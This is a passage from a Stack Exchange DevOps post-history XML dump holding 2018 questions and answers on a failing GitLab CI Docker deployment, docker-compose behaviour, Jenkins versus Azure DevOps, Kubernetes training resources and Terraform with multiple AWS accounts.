api/vendor&#xD;&#xA;&#xD;&#xA;    #################################&#xD;&#xA;    ##   Scripts for development   ##&#xD;&#xA;    #################################&#xD;&#xA;&#xD;&#xA;    # Deploy development to staging&#xD;&#xA;    deploy-staging:&#xD;&#xA;      stage: deploy&#xD;&#xA;      image: tmaier/docker-compose&#xD;&#xA;      variables:&#xD;&#xA;        SERVERNAME: staging.example.com&#xD;&#xA;        EMAIL: $LETS_ENCRYPT_MAIL&#xD;&#xA;        STAGE_DOCKER_HOST: &quot;tcp://159.xxx.xxx.xxx:2376&quot;&#xD;&#xA;      cache: {}&#xD;&#xA;      dependencies: []&#xD;&#xA;      before_script:&#xD;&#xA;      # Echo env vars for LetsEncrypt into .env&#xD;&#xA;      - echo &quot;VIRTUAL_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_EMAIL=$EMAIL&quot; &gt;&gt; .env; echo &quot;PHP_IMAGE=$PHP_IMAGE_REF&quot; &gt;&gt; .env; echo &quot;NGINX_IMAGE=$NGINX_IMAGE_REF&quot; &gt;&gt; .env&#xD;&#xA;      script:&#xD;&#xA;      # Login to gitlab registry&#xD;&#xA;      - docker login -u gitlab-ci-token -p ${CI_BUILD_TOKEN} registry.gitlab.com&#xD;&#xA;&#xD;&#xA;      # Setup connection to server&#xD;&#xA;      - mkdir -p ~/docker/certs&#xD;&#xA;      - echo ${STAGE_CA} &gt; ~/docker/certs/ca.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_CERT} &gt; ~/docker/certs/cert.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_KEY} &gt; ~/docker/certs/key.pem&#xD;&#xA;&#xD;&#xA;      # Shutdown services&#xD;&#xA;      - docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (nginx) image&#xD;&#xA;      - docker rmi $NGINX_IMAGE_REF || echo &quot;nginx image not exist&quot;&#xD;&#xA;      - docker pull $NGINX_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (php+app) image&#xD;&#xA;      - docker rmi $PHP_IMAGE_REF || echo &quot;php image not exist&quot;&#xD;&#xA;      - docker pull $PHP_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Recreate services&#xD;&#xA;      - docker-compose--file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem up -d&#xD;&#xA;      environment:&#xD;&#xA;        name: staging&#xD;&#xA;        url: https://staging.example.com&#xD;&#xA;      only:&#xD;&#xA;      - development&#xD;&#xA;&#xD;&#xA;Unfortunately does the above result in the following error and the pipeline does not succeed. When I run the command: `docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v` on my local windows machine it works using the same certificates.&#xD;&#xA;&#xD;&#xA;    urllib3.connectionpool._new_conn: Starting new HTTPS connection (1): 159.xxx.xxx.xxx&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/usr/bin/docker-compose&quot;, line 11, in &lt;module&gt;&#xD;&#xA;        sys.exit(main())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 71, in main&#xD;&#xA;        command()&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 124, in perform_command&#xD;&#xA;        project = project_from_options('.', options)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 41, in project_from_options&#xD;&#xA;        compatibility=options.get('--compatibility'),&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 121, in get_project&#xD;&#xA;        host=host, environment=environment&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 95, in get_client&#xD;&#xA;        version_info = six.iteritems(client.version())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/daemon.py&quot;, line 181, in version&#xD;&#xA;        return self._result(self._get(url), json=True)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/utils/decorators.py&quot;, line 46, in inner&#xD;&#xA;        return f(self, *args, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/client.py&quot;, line 198, in _get&#xD;&#xA;        return self.get(url, **self._set_request_timeout(kwargs))&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 521, in get&#xD;&#xA;        return self.request('GET', url, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 508, in request&#xD;&#xA;        resp = self.send(prep, **send_kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 618, in send&#xD;&#xA;        r = adapter.send(request, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/adapters.py&quot;, line 506, in send&#xD;&#xA;        raise SSLError(e, request=request)&#xD;&#xA;    requests.exceptions.SSLError: HTTPSConnectionPool(host='159.xxx.xxx.xxx', port=2376): Max retries exceeded with url: /v1.30/version (Caused by SSLError(SSLError(0, u'unknown error (_ssl.c:3027)'),))&#xD;&#xA;    ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;I'm farily new to devops, so:&#xD;&#xA;---&#xD;&#xA;1. what options do I have?&#xD;&#xA;2. is there another/better way to deploy docker images to a remote docker host?&#xD;&#xA;3. could I solve the problem by using my own runner?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jpetazzo/dind" ContentLicense="CC BY-SA 4.0" />
  <row Id="16299" PostHistoryTypeId="2" PostId="5154" RevisionGUID="63d69e2f-92c8-4648-84f0-d9e1f961b2c3" CreationDate="2018-10-10T16:46:42.460" UserId="10279" Text="It seems to me that all the containers attempted to be launched are removed if Docker Compose fails for one container being launched.  &#xD;&#xA;&#xD;&#xA;Is this standard behavior, or is this just an artifact of my case?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16300" PostHistoryTypeId="1" PostId="5154" RevisionGUID="63d69e2f-92c8-4648-84f0-d9e1f961b2c3" CreationDate="2018-10-10T16:46:42.460" UserId="10279" Text="What is the behavior if docker compose fails?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16301" PostHistoryTypeId="3" PostId="5154" RevisionGUID="63d69e2f-92c8-4648-84f0-d9e1f961b2c3" CreationDate="2018-10-10T16:46:42.460" UserId="10279" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16302" PostHistoryTypeId="2" PostId="5155" RevisionGUID="b7d8c9c3-4a5d-4b10-8be0-2f566b2ca9e1" CreationDate="2018-10-10T16:48:31.357" UserId="4175" Text="&gt; could you please redirect me to some article, blog, white paper or suggest me a book where I could learn and get a feel of what fully implemented CI/CD looks like.&#xD;&#xA;&#xD;&#xA;Sure, look [how Google does it][1].&#xD;&#xA;&#xD;&#xA;&gt; I haven't seen a fully implemented DevOps lifecycle ever.&#xD;&#xA;&#xD;&#xA;There seems to be a misunderstanding here. &quot;DevOps&quot; is a lot of things; but a &quot;full&quot; CI/CD (meaning each individual developer commit turning up in production fully automated shortly after the commit - continues _deployment_ (not only _delivery_)) is by far not the norm. In my experience with a few larger local and national customers, where production or business critical things are controlled by the software, and there usually are large amounts of critical data involved, it *always* stops before the production stage.&#xD;&#xA;&#xD;&#xA;Full CI/CD is complicated. Yes, you can cobble the tooling together pretty quickly, but the prevention, detecting and backing out of unwanted commits is very hard. If you look at the above article about Google you will see that very, very much manpower went into getting this to run (I seem to remember only their core DevOps team is about 100 persons, doing nothing than tooling; and then they invest manpower into peer reviews, etc. etc.). Whole ecosystems of components, procedures and mindsets were created specifically for this. The fact that we mere mortals get to play with things like Kubernetes is a *result* from that, their breadcrumbs if you will.&#xD;&#xA;&#xD;&#xA;Even only the one fact that they are doing Trunk-based development would be too complicated (regarding processes, necessary quality requirements etc.) for many more normal, smaller teams.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext" ContentLicense="CC BY-SA 4.0" />
  <row Id="16307" PostHistoryTypeId="2" PostId="5157" RevisionGUID="1387d58c-56b8-4b3e-9332-d151d5b18e66" CreationDate="2018-10-10T18:30:15.733" UserId="10281" Text="I've been doing some research on the Azure DevOps solution that [Microsoft recently unveiled][1]. &#xD;&#xA;&#xD;&#xA;Some background, I've been using Jenkins for years, and recently started exploring the containerisation rabbit hole (Docker, Kubernetes, etc),&#xD;&#xA;&#xD;&#xA;I'm unsure about some of the aspects of Azure DevOps Pipelines, and it'd be awesome to get some feedback and clarity.  &#xD;&#xA;&#xD;&#xA;TLDR; 1) Is Azure DevOps now competing with Jenkins, where they previously [supported the Jenkins community via open source plugins][2] for Jenkins? 2) Is it possible for me to host Azure DevOps Pipelines completely on premise, not just agents? 3) Is it possible to use a self host git solution (like GitLab on-premise) with Azure DevOps Pipelines? &#xD;&#xA;&#xD;&#xA;1) Microsoft has developed various open-source plugins for Jenkins, such as the [Azure App Service Jenkins plugin][3]. There are many examples. To me it seems like the Azure DevOps (specifically Pipelines) solution is now competing directly with Jenkins, or am I missing something?&#xD;&#xA;&#xD;&#xA;2) To me it seems that there is no way to host the Azure Pipelines solution on premise, or in a cloud provider of my choice. Yes, I can [host my own agents][4] where the bulk of the work is performed, but the actual execution of the pipeline logic happens on Microsoft's servers. And then I have to [pay for parallel jobs][5]. I'm comparing this to an on-premise (or cloud provider of choice) hosted Jenkins instance, where no payment is required, and no 3rd party is even aware that our pipelines are running. Am I missing something? &#xD;&#xA;&#xD;&#xA;3) From what I can tell, Azure Pipelines has no support for self hosted repositories, I either put my code [on GitHub or on Azure repos][6], nothing else. Thus, I can't even use this Pipelines solution if I have a privately hosted GitLab instance? &#xD;&#xA;&#xD;&#xA;Thanks for any input. &#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-us/blog/introducing-azure-devops/&#xD;&#xA;  [2]: https://www.youtube.com/watch?v=buQNF1sekq8&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/jenkins/deploy-jenkins-app-service-plugin&#xD;&#xA;  [4]: https://azure.microsoft.com/en-us/blog/announcing-azure-pipelines-with-unlimited-ci-cd-minutes-for-open-source/&#xD;&#xA;  [5]: https://azure.microsoft.com/en-us/pricing/details/devops/azure-pipelines/&#xD;&#xA;  [6]: https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started-yaml?view=vsts" ContentLicense="CC BY-SA 4.0" />
  <row Id="16308" PostHistoryTypeId="1" PostId="5157" RevisionGUID="1387d58c-56b8-4b3e-9332-d151d5b18e66" CreationDate="2018-10-10T18:30:15.733" UserId="10281" Text="Jenkins vs Azure DevOps Pipelines" ContentLicense="CC BY-SA 4.0" />
  <row Id="16309" PostHistoryTypeId="3" PostId="5157" RevisionGUID="1387d58c-56b8-4b3e-9332-d151d5b18e66" CreationDate="2018-10-10T18:30:15.733" UserId="10281" Text="&lt;jenkins&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16310" PostHistoryTypeId="2" PostId="5158" RevisionGUID="d32fcc3c-f471-4b29-8f62-d1ede71a781e" CreationDate="2018-10-10T18:44:31.353" UserId="4745" Text="We have our source code in GitHub. We use Jenkins for CI. We had written a Jenkinsfile in the Github repos and used GitHub plugin for Jenkins. The plugin would scan the repos and then Jenkins would execute the code in Jenkinsfile for the builds. This works perfectly. &#xD;&#xA;&#xD;&#xA;Now, we are moving our source code from GitHub to Azure repos(https://azure.microsoft.com/en-us/services/devops/repos/) purely for non technical reasons. From what I could tell, looking around, there does not seem to be an equivalent of Git hub plugin for Azure repos in Jenkins. Is this correct. Also is there a plugin in Jenkins for Azure repos.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="16311" PostHistoryTypeId="1" PostId="5158" RevisionGUID="d32fcc3c-f471-4b29-8f62-d1ede71a781e" CreationDate="2018-10-10T18:44:31.353" UserId="4745" Text="Jenkinsfile equivalent in Azure repos" ContentLicense="CC BY-SA 4.0" />
  <row Id="16312" PostHistoryTypeId="3" PostId="5158" RevisionGUID="d32fcc3c-f471-4b29-8f62-d1ede71a781e" CreationDate="2018-10-10T18:44:31.353" UserId="4745" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16313" PostHistoryTypeId="2" PostId="5159" RevisionGUID="8ef4b40d-e93b-4fe4-b8e7-671ce8caf5e1" CreationDate="2018-10-10T18:57:17.200" UserId="10281" Text="Well it depends on whether the services (containers) within the docker-compose.yml [depends on each other][1]. If for example, service B depends on service A, and A fails to start up, so will B. &#xD;&#xA;&#xD;&#xA;It can also be the case that a service logically depends on another service (without actually declaring it in your docker-compose.yml), and it not starting up causes a chain of failures. For example, say you have a web service and a db service. If the web service attempts to connect to the db service but the db service couldn't start up (config broken for example), then the web service will probably throw an exception and fail. &#xD;&#xA;&#xD;&#xA;But no, just because one service fails, doesn't mean all other services will just be stopped. You can have two independent services, where one fails and stops, while the other is still running. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/startup-order/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16314" PostHistoryTypeId="50" PostId="2094" RevisionGUID="59a44882-f598-47c8-984a-e68335310dd5" CreationDate="2018-10-10T20:00:17.300" UserId="-1" />
  <row Id="16315" PostHistoryTypeId="2" PostId="5160" RevisionGUID="389e7ca8-7eb3-4fa8-9235-9bd7458661f6" CreationDate="2018-10-10T21:00:39.620" UserId="5910" Text="I'm looking for Kubernetes training online or in person. What are some good training courses to take?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16316" PostHistoryTypeId="1" PostId="5160" RevisionGUID="389e7ca8-7eb3-4fa8-9235-9bd7458661f6" CreationDate="2018-10-10T21:00:39.620" UserId="5910" Text="What are some good Kubernetes training courses?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16317" PostHistoryTypeId="3" PostId="5160" RevisionGUID="389e7ca8-7eb3-4fa8-9235-9bd7458661f6" CreationDate="2018-10-10T21:00:39.620" UserId="5910" Text="&lt;learning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16318" PostHistoryTypeId="5" PostId="5155" RevisionGUID="6e00ac50-727a-44df-a9ff-4b82a4757abc" CreationDate="2018-10-10T22:00:16.710" UserId="4175" Comment="added 1 character in body" Text="&gt; could you please redirect me to some article, blog, white paper or suggest me a book where I could learn and get a feel of what fully implemented CI/CD looks like.&#xD;&#xA;&#xD;&#xA;Sure, look [how Google does it][1].&#xD;&#xA;&#xD;&#xA;&gt; I haven't seen a fully implemented DevOps lifecycle ever.&#xD;&#xA;&#xD;&#xA;There seems to be a misunderstanding here. &quot;DevOps&quot; is a lot of things; but a &quot;full&quot; CI/CD (meaning each individual developer commit turning up in production fully automated shortly after the commit - continuous _deployment_ (not only _delivery_)) is by far not the norm. In my experience with a few larger local and national customers, where production or business critical things are controlled by the software, and there usually are large amounts of critical data involved, it *always* stops before the production stage.&#xD;&#xA;&#xD;&#xA;Full CI/CD is complicated. Yes, you can cobble the tooling together pretty quickly, but the prevention, detecting and backing out of unwanted commits is very hard. If you look at the above article about Google you will see that huge effort went into getting this to run (I seem to remember only their core DevOps team is about 100 persons, doing nothing than tooling; and then they invest a lot of work into peer reviews, knowledge transfer, etc. etc.). Whole ecosystems of components, procedures and mindsets were created specifically for this. The fact that we mere mortals get to play with things like Kubernetes is a *result* from that, their breadcrumbs if you will.&#xD;&#xA;&#xD;&#xA;Even only the one fact that they are doing Trunk-based development would be too complicated (regarding processes, necessary quality requirements etc.) for many more normal, smaller teams.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext" ContentLicense="CC BY-SA 4.0" />
  <row Id="16322" PostHistoryTypeId="2" PostId="5162" RevisionGUID="e4e09c07-c63d-4bbb-815d-0cb629c97c0f" CreationDate="2018-10-11T02:16:40.027" UserId="10262" Text="I've read up on Terraform and using AWS S3 and DynamoDB for sharing state and locking. My problem is that we have multiple AWS accounts, by which I mean multiple sign-in locations like:&#xD;&#xA;&#xD;&#xA; - https://account1.signin.aws.amazon.com/console&#xD;&#xA; - https://account2.signin.aws.amazon.com/console&#xD;&#xA;&#xD;&#xA;Is it better to have separate S3 and DynamoDB instances in each account, or should we have a single location that's used across all of them?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16323" PostHistoryTypeId="1" PostId="5162" RevisionGUID="e4e09c07-c63d-4bbb-815d-0cb629c97c0f" CreationDate="2018-10-11T02:16:40.027" UserId="10262" Text="How do I handle multiple AWS accounts in Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16324" PostHistoryTypeId="3" PostId="5162" RevisionGUID="e4e09c07-c63d-4bbb-815d-0cb629c97c0f" CreationDate="2018-10-11T02:16:40.027" UserId="10262" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16325" PostHistoryTypeId="4" PostId="5069" RevisionGUID="77b57795-47c3-4b8d-b748-1140c88b13c2" CreationDate="2018-10-11T04:03:06.380" UserId="10262" Comment="Fix spelling" Text="Where do you start with hosting the infrastructure for your infrastructure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16326" PostHistoryTypeId="24" PostId="5069" RevisionGUID="77b57795-47c3-4b8d-b748-1140c88b13c2" CreationDate="2018-10-11T04:03:06.380" Comment="Proposed by 10262 approved by -1 edit id of 806" ContentLicense="CC BY-SA 4.0" />
  <row Id="16327" PostHistoryTypeId="5" PostId="5069" RevisionGUID="545650aa-93b4-4fd8-bac1-03b75c2fb4f5" CreationDate="2018-10-11T04:03:06.380" UserId="40" Comment="deleted 64 characters in body" Text="So I'm trying to get started with the HashiCorp stack, but the question I keep asking myself, when looking at any of this DevOps infrastructure stuff, is what infrastructure should you be using to host the tools that will be managing - well - your infrastructure?&#xD;&#xA;&#xD;&#xA;Like, for example, should I just be spinning up individual VMs to host each part of the HashiCorp stack? Should I be doing that instead using containers? Should I be managing those containers? With the same tools I'm going to be using to manage the containers managed by those containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16328" PostHistoryTypeId="50" PostId="1654" RevisionGUID="9fd94c21-3e7e-4af0-9572-d714adc1cda2" CreationDate="2018-10-11T05:00:11.117" UserId="-1" />
  <row Id="16329" PostHistoryTypeId="5" PostId="5152" RevisionGUID="d3d80923-97b5-4925-8414-438a1b4b1008" CreationDate="2018-10-11T05:03:33.517" UserId="10201" Comment="Fixed grammar" Text="I've been working in the field of DevOps for some time now and have learned about some tools like Jenkins, Docker, Kubernetes, Puppet, Artifactory, etc.. Although I know where each of these tools could be used and what purpose each of these serves, I really wanted to see how a fully implemented CI/CD looks like.&#xD;&#xA;&#xD;&#xA;I understand that the solution would definitely change with the change in the requirements, technology stack, team size, etc. and that there is no God solution for everything but, I haven't seen a fully implemented DevOps lifecycle ever.&#xD;&#xA;&#xD;&#xA;I'm not sure if asking for resources is prohibited here (Feel free to close the question if it is) but could you please redirect me to some article, blog, white paper or suggest me a book where I could learn and get a feel of what fully implemented CI/CD looks like." ContentLicense="CC BY-SA 4.0" />
  <row Id="16330" PostHistoryTypeId="2" PostId="5163" RevisionGUID="7d18d486-46fa-475c-b88f-602595ac0462" CreationDate="2018-10-11T11:07:02.163" UserId="3766" Text="To understand kubernetes internal, it's good to have good understanding of containers, docker, etc.&#xD;&#xA;&#xD;&#xA;Here, is the list of useful docker and kubernetes resources: &#xD;&#xA;&#xD;&#xA;1) Play with Docker Classroom https://training.play-with-docker.com/&#xD;&#xA;&#xD;&#xA;2) Docker Interactive Tutorials https://www.katacoda.com/&#xD;&#xA;&#xD;&#xA;3) Play with Docker (PWD) https://labs.play-with-docker.com/&#xD;&#xA;    Play with Kubernetes(PWK) https://labs.play-with-k8s.com/&#xD;&#xA;&#xD;&#xA;4) [Introduction to Kubernetes course on edX][1]&#xD;&#xA;&#xD;&#xA;5) Blog by Docker Captain, https://collabnix.com/&#xD;&#xA;    Also, search kubenetes blogs on Medium which are very useful. &#xD;&#xA;&#xD;&#xA;6) Kubernetes The Hard Way [github][2] repo by Kelsey hightower updated with latest kubernetes 1.12.0 version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.edx.org/course/introduction-to-kubernetes&#xD;&#xA;  [2]: https://github.com/kelseyhightower/kubernetes-the-hard-way" ContentLicense="CC BY-SA 4.0" />
  <row Id="16331" PostHistoryTypeId="5" PostId="5163" RevisionGUID="e8336d69-57a9-4a29-8517-708516449fd0" CreationDate="2018-10-11T11:12:14.107" UserId="3766" Comment="added a course link" Text="To understand kubernetes internal, it's good to have good understanding of containers, docker, etc.&#xD;&#xA;&#xD;&#xA;Here, is the list of useful docker and kubernetes resources: &#xD;&#xA;&#xD;&#xA;1) Play with Docker Classroom https://training.play-with-docker.com/&#xD;&#xA;&#xD;&#xA;2) Docker Interactive Tutorials https://www.katacoda.com/&#xD;&#xA;&#xD;&#xA;3) Play with Docker (PWD) https://labs.play-with-docker.com/&#xD;&#xA;    Play with Kubernetes(PWK) https://labs.play-with-k8s.com/&#xD;&#xA;&#xD;&#xA;4) [Introduction to Kubernetes course on edX][1] also his company, [CloudYuga][2] is a certified Kubernetes service provider and training partner&#xD;&#xA;&#xD;&#xA;5) Blog by Docker Captain, https://collabnix.com/&#xD;&#xA;    Also, search kubenetes blogs on Medium which are very useful. &#xD;&#xA;&#xD;&#xA;6) Kubernetes The Hard Way [github][3] repo by Kelsey hightower updated with latest kubernetes 1.12.0 version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.edx.org/course/introduction-to-kubernetes&#xD;&#xA;  [2]: https://cloudyuga.guru/&#xD;&#xA;  [3]: https://github.com/kelseyhightower/kubernetes-the-hard-way" ContentLicense="CC BY-SA 4.0" />
  <row Id="16332" PostHistoryTypeId="6" PostId="5160" RevisionGUID="00d71eb4-e570-4ff5-ac35-e3d5e4c4e661" CreationDate="2018-10-11T11:25:05.267" UserId="3766" Comment="added a tag" Text="&lt;kubernetes&gt;&lt;learning&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16333" PostHistoryTypeId="24" PostId="5160" RevisionGUID="00d71eb4-e570-4ff5-ac35-e3d5e4c4e661" CreationDate="2018-10-11T11:25:05.267" Comment="Proposed by 3766 approved by 13 edit id of 807" ContentLicense="CC BY-SA 4.0" />
  <row Id="16334" PostHistoryTypeId="2" PostId="5164" RevisionGUID="f5d4e669-701f-4e50-9a1e-f88d00a1e90d" CreationDate="2018-10-11T11:27:17.827" UserId="13" Text="The answer is highly dependent on what you put inside it, if the states are only account related I'd go with a separate S2/dynamodb per account, if the states are cross-account then you'd need a central place to record them." ContentLicense="CC BY-SA 4.0" />
  <row Id="16337" PostHistoryTypeId="50" PostId="4489" RevisionGUID="1ca982ef-019e-409f-9bcf-e24ad09325b8" CreationDate="2018-10-11T17:01:10.980" UserId="-1" />
  <row Id="16338" PostHistoryTypeId="2" PostId="5165" RevisionGUID="4628d963-ddab-439b-9669-ffe8eaf1057d" CreationDate="2018-10-11T17:52:20.413" UserId="8621" Text="Btw: I managed to fix this problem by using `aws-mfa` (https://github.com/broamski/aws-mfa), which I have configured to cache my aws credentials for an hour." ContentLicense="CC BY-SA 4.0" />
  <row Id="16340" PostHistoryTypeId="33" PostId="5146" RevisionGUID="63a3720e-8377-42ce-afde-e764a020c818" CreationDate="2018-10-11T20:55:48.757" UserId="10241" Comment="28" />
  <row Id="16341" PostHistoryTypeId="50" PostId="1088" RevisionGUID="e7608000-649f-4d4f-8b12-a640e32c6d0b" CreationDate="2018-10-11T21:00:14.590" UserId="-1" />
  <row Id="16348" PostHistoryTypeId="2" PostId="5168" RevisionGUID="202d825f-e047-4cce-9181-b59b457c25d9" CreationDate="2018-10-12T06:02:12.943" UserId="7772" Text="Did you try the variable `ServerlessRestApi`? It works for us like this:&#xD;&#xA;&#xD;&#xA;    Outputs:    &#xD;&#xA;        EncryptURL:&#xD;&#xA;          Description: &quot;Encrypt endpoint URL for Stage environment&quot;&#xD;&#xA;          Value: !Sub &quot;https://${ServerlessRestApi}.execute-api.${AWS::Region}.amazonaws.com/Stage/encrypt&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16352" PostHistoryTypeId="2" PostId="5170" RevisionGUID="f5b86e2a-66f6-4d8a-95d8-cb7669c43d0d" CreationDate="2018-10-12T09:19:50.417" UserId="749" Text="Q. What processes or tools enable Segregation of Duties when engineers both deploy and run code (higher is more expensive):&#xD;&#xA;&#xD;&#xA;* distinct dev and ops sites &amp; methods to carry over work from one to the other&#xD;&#xA;* distinct dev and ops systems &amp; methods as above&#xD;&#xA;* distinct dev and ops git/vcs repositories &amp; related methods&#xD;&#xA;* distinct dev and ops git/vcs branches (protected) &amp; related methods&#xD;&#xA;&#xD;&#xA;Depending on what you do, some solutions are better than others, for example if you have the need to serve two teams with distinct roles within them and each having ownership within and provide full traceability, you are hovering over first three.&#xD;&#xA;&#xD;&#xA;In short, anything that enforces that one guy or gal cannot take the ball all alone and run with it, and s/he crosses a distinct explicit boundary among dev &amp; ops.&#xD;&#xA;Now, depending on the level of risk, that boundary might be enforced or not.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16353" PostHistoryTypeId="2" PostId="5171" RevisionGUID="10d5026b-226e-45c6-8cbc-a077fa125072" CreationDate="2018-10-12T10:14:53.973" UserId="10302" Text="I have been trying to setup my ASP.Net Core project with docker support, but it seems like I am failing to share my `C:\` drive?&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Following that link I have encountered [these documentations][2] stating that I should..&#xD;&#xA;&#xD;&#xA;&gt;  allow connections to 10.0.75.1 on port 445 (the Windows host) from 10.0.75.2 (the virtual machine)&#xD;&#xA;&#xD;&#xA;.. which I did, but I nevertheless ended up getting the same error message. So I have tried to follow some further instructions and tried to [reinstall the File and Print sharing service on the Hyper-V virtual network card][3]. Wich has lead me to another (Windows related) error;&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;*Apparently*, the latest Windows 10 release does not support/allow uninstalling `File and Printer Sharing for Microsoft Networks` but instead throws the `0x80071779 error`.&#xD;&#xA;&#xD;&#xA;Thus there does not seem to be any &quot;solution&quot; to now share a drive on docker without any &quot;hacky&quot; solutions, no? Have I maybe missed something?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/gD5G2.png&#xD;&#xA;  [2]: https://docs.docker.com/docker-for-windows/#shared-drives&#xD;&#xA;  [3]: https://stackoverflow.com/questions/42203488/settings-to-windows-firewall-to-allow-docker-for-windows-to-share-drive/43904051#43904051&#xD;&#xA;  [4]: https://i.stack.imgur.com/AwEPQ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="16354" PostHistoryTypeId="1" PostId="5171" RevisionGUID="10d5026b-226e-45c6-8cbc-a077fa125072" CreationDate="2018-10-12T10:14:53.973" UserId="10302" Text="How does someone share a drive to be available for my containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16355" PostHistoryTypeId="3" PostId="5171" RevisionGUID="10d5026b-226e-45c6-8cbc-a077fa125072" CreationDate="2018-10-12T10:14:53.973" UserId="10302" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16356" PostHistoryTypeId="2" PostId="5172" RevisionGUID="7cc09363-3c8d-47d9-bbda-bebc3ee1cdaf" CreationDate="2018-10-12T10:34:09.393" UserId="10302" Text="Interestingly I have solved that error by pressing on &quot;Reset credentials&quot; in `Docker -&gt; Settings -&gt; Shared Drives` and typing in the exact same account information I had before (admin account). " ContentLicense="CC BY-SA 4.0" />
  <row Id="16357" PostHistoryTypeId="5" PostId="5146" RevisionGUID="2bec4d30-522c-4917-b000-7ee9893d0e1f" CreationDate="2018-10-12T13:33:22.263" UserId="10241" Comment="added 53 characters in body" Text="I am trying to deploy an docker image, which is located inside the gitlab.com registry, to an external docker host. The docker host was created using docker-machine. &#xD;&#xA;&#xD;&#xA;I am using a shared runner and the registry is private, so I will need to login first. To build the images and to run docker I'm using _[docker in docker][1]_. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is what I have so far:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    services:&#xD;&#xA;    - name: docker:dind&#xD;&#xA;      command: [&quot;--experimental&quot;]&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    #- build # Redacted&#xD;&#xA;    - deploy&#xD;&#xA;&#xD;&#xA;    variables:&#xD;&#xA;      PHP_IMAGE_REF: ${CI_REGISTRY_IMAGE}/php:${CI_BUILD_REF_NAME}&#xD;&#xA;      PHP_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/php:latest&#xD;&#xA;      